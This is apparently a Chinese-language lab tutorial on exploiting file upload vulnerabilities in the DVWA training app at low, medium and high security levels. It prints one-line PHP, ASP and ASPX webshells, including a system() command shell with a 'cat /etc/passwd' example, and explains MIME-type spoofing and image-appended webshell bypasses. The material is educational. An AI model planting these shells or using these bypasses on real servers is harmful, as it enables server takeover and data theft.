靶机:OWASP Broken Web Apps VM v1.2 里 Damn Vulnerable Web App
下载链接: https://pan.baidu.com/s/1tp73YfYeHBH6vLRF_QSbBA 提取码: cfj2
一、何为文件上传漏洞
网站存在上传功能且没有规范上传文件的安全性,黑客通过文件上传漏洞执行恶意脚本,影响服务器安全。
二、大名鼎鼎的一句话木马
php的一句话木马: <?php @eval($_POST['pass']);?>
asp的一句话是: <%eval request ("pass")%>
aspx的一句话是: <%@ Page Language="Jscript"%> <%eval(Request.Item["pass"],"unsafe");%>
详细解释一下PHP一句话木马:
<?php @eval($_POST['pass']);?>
@表示忽略报错,如果没有@,在PHP中pass这个变量未定义可能会报警告,容易被发现。eval函数:把字符串当作PHP代码执行,例如,下面结果输出PASS:
eval("echo 'PASS';"); //PASS
总的来说,只要我们上传的木马没被杀,并且我们知道木马的路径就能利用它。
我们把一句话木马通过漏洞点上传,进行简单的测试:
由此可见我们可以利用其他php函数获取更多的信息,例如opendir(),readdir(),move_uploaded_file(),exec()等等,这里可以使用中国菜刀进行漏洞利用。
刚才我们在DVWA里选择的是低级的文件上传验证代码,可以看到没有做任何上传验证,所以我们的利用一句话木马很简单:
<?php
if (isset($_POST['Upload'])) {
$target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/";
$target_path = $target_path . basename( $_FILES['uploaded']['name']);
if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) {
echo '<pre>';
echo 'Your image was not uploaded.';
echo '</pre>';
} else {
echo '<pre>';
echo $target_path . ' succesfully uploaded!';
echo '</pre>';
}
}
?>
那么如果遇到更高级的上传检测该怎么办呢?我们把等级调成中级试试。
三、中级绕过
Medium File Upload Source:
<?php
if (isset($_POST['Upload'])) {
$target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/";
$target_path = $target_path . basename($_FILES['uploaded']['name']);
$uploaded_name = $_FILES['uploaded']['name'];
$uploaded_type = $_FILES['uploaded']['type'];
$uploaded_size = $_FILES['uploaded']['size'];
if (($uploaded_type == "image/jpeg") && ($uploaded_size < 100000)){
if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) {
echo '<pre>';
echo 'Your image was not uploaded.';
echo '</pre>';
} else {
echo '<pre>';
echo $target_path . ' succesfully uploaded!';
echo '</pre>';
}
}
else{
echo '<pre>Your image was not uploaded.</pre>';
}
}
?>
代码只限制了HTTP协议中的文件类型,我们同样直接传shell.php,burp抓包,MIME类型改成imag/jpeg转发包即可。再介绍两种GET方式的一句话小马:
#eval 使用PHP函数,例如Phpinfo()
<?php eval($_REQUEST['pass']);?> //例如:XXX.COM/?pass=phpinfo();
# system 使用Linux系统命令,例如ls cp rm
<?php system($_REQUEST['cmd']);?> //例如:XXX.COM/?cmd=cat /etc/passwd
四、高级绕过
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];
// Is it an image?
if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
( $uploaded_size < 100000 ) &&
getimagesize( $uploaded_tmp ) ) {
// Can we move the file to the upload folder?
if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
?>
getimagesize(string filename)
函数会通过读取文件头、返回图片的长、宽等信息,如果没有相关的图片文件头,函数会报错。可以看到,High级别的代码读取文件名中最后一个”.”后的字符串,期望通过文件名来限制文件类型,因此要求上传文件名形式必须是.jpg、.jpeg 、.png之一。同时,getimagesize函数更是限制了上传文件的文件头必须为图像类型
关于%00截断,注意,最好不要在文件名中加%00进行截断,比如攻击者构造文件名:shell.php%00a.jpg,在提取后缀名的时候遇到%00则认为字符串结束了,那么他提取到的后缀名会是.php,.php后缀又不允许上传所以上传失败了。
打开十六进制编辑模式,在图片文件的末尾加入一句话木马保存为图片文件上传即可。